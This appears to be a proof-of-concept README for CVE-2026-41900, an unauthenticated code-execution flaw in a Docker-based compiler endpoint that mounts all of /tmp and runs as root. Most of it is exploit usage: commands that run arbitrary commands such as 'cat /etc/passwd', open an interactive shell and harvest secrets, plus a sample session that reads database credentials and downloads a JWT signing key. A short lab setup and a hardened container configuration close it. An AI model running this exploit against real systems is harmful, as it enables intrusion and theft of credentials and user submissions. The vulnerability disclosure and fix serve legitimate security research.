POST /api/compiler/execute  (no auth)
     │
     ▼
execute_in_container(user_code)
     │
     ├─ tempfile.NamedTemporaryFile(suffix='.py')  → /tmp/tmpXXXXXX.py
     │
     ├─ volumes = { os.path.dirname(temp_file): { "bind": "/app", "mode": "ro" } }
     │                     │
     │                     └─ resolves to /tmp → ENTIRE /tmp mounted into container
     │
     ├─ No user=        → runs as root (UID 0)
     ├─ No cap_drop     → default Docker capabilities
     ├─ No security_opt → default seccomp profile
     │
     └─ Attacker reads: secrets, creds, JWT keys, other users' submissions

git clone https://github.com/Christbowel/CVE-2026-41900-POC.git
cd CVE-2026-41900-POC
# No dependencies — stdlib only
chmod +x exploit.py

# Check if a target is vulnerable
python3 exploit.py --check http://target:5000

# Run all gadgets + generate evidence JSON
python3 exploit.py --exploit http://target:5000

# Execute a single command
python3 exploit.py -c "id" http://target:5000
python3 exploit.py -c "cat /etc/passwd" http://target:5000

# Drop into interactive shell
python3 exploit.py --shell http://target:5000

# Run specific gadgets
python3 exploit.py --gadget secrets http://target:5000
python3 exploit.py --gadget listing --gadget caps http://target:5000

root@container:/app# id
uid=0(root) gid=0(root)

root@container:/app# ls -la /app/
total 28
-rw-r--r--  1 root root  121 May  6 openlearnx_db_creds.conf
-rw-r--r--  1 root root  235 May  6 jwt_signing_key.pem
-rw-r--r--  1 root root  298 May  6 student_submission_8842.py

root@container:/app# cat /app/openlearnx_db_creds.conf
MONGO_URI=mongodb://admin:[email protected]:27017/openlearnx

root@container:/app# download jwt_signing_key.pem
  [+] Downloaded jwt_signing_key.pem (235B)

root@container:/app# exit

cd lab/
docker compose up -d --build
sleep 3
python3 ../exploit.py --exploit http://localhost:5000

container = docker_client.containers.run(
    image,
    volumes={temp_dir: {"bind": "/workspace", "mode": "rw"}},  # isolated tmpdir per exec
    cap_drop=["ALL"],                                           # drop all capabilities
    security_opt=["no-new-privileges:true"],                    # prevent priv esc
    user="65534:65534",                                         # nobody, not root
    ...
)